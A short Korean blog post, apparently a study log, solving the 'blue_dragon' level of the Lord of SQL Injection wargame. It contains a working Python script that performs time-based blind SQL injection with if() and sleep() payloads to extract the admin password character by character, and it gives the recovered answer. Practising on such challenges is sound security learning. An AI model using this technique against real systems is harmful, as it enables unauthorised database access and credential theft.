보안 공부/Load of SQL injection

[Load of SQL Injection] blue_dragon

sh1256 2022. 2. 16. 21:47
728x90

 

첫번째 쿼리문에서 result를 받은 후 '(홑따음표)를 필터링 한다. sleep()함수와 if문을 사용하자. 

if문의 조건절이 참이면 5초간 시간을 끌게 만들었다. 

 

 

 

import requests
import time
cookies={'PHPSESSID':'새션값'}
url ="https://los.rubiya.kr/chall/blue_dragon_23f2e3c81dca66e496c7de2d63b82984.php?id=admin&&pw="
length=8#pw는 8자리
pw= ""
min=time.time()
max=time.time()

for i in range(1, length+1):
    for j in range(33, 122):#문자범위
        min=time.time()
        #' or if(id='admin' and substr(pw,N,1)='?',sleep(5),1)#'
        search_str="' or if(id='admin' and substr(pw,"+str(i)+",1)='"+chr(j)+"',sleep(2),1)%23"
        #5초는 너무 길어서 2초로 바꿈
        print("search_str: "+search_str)
        response= requests.get(url+search_str, cookies=cookies)
        max=time.time()
        interval=max-min
        #print(response.text)
        
        if interval>1:
            pw+=chr(j)
            print("pw: "+pw)
            break

pw=D948B8A0   --d948b8a0

 

성공!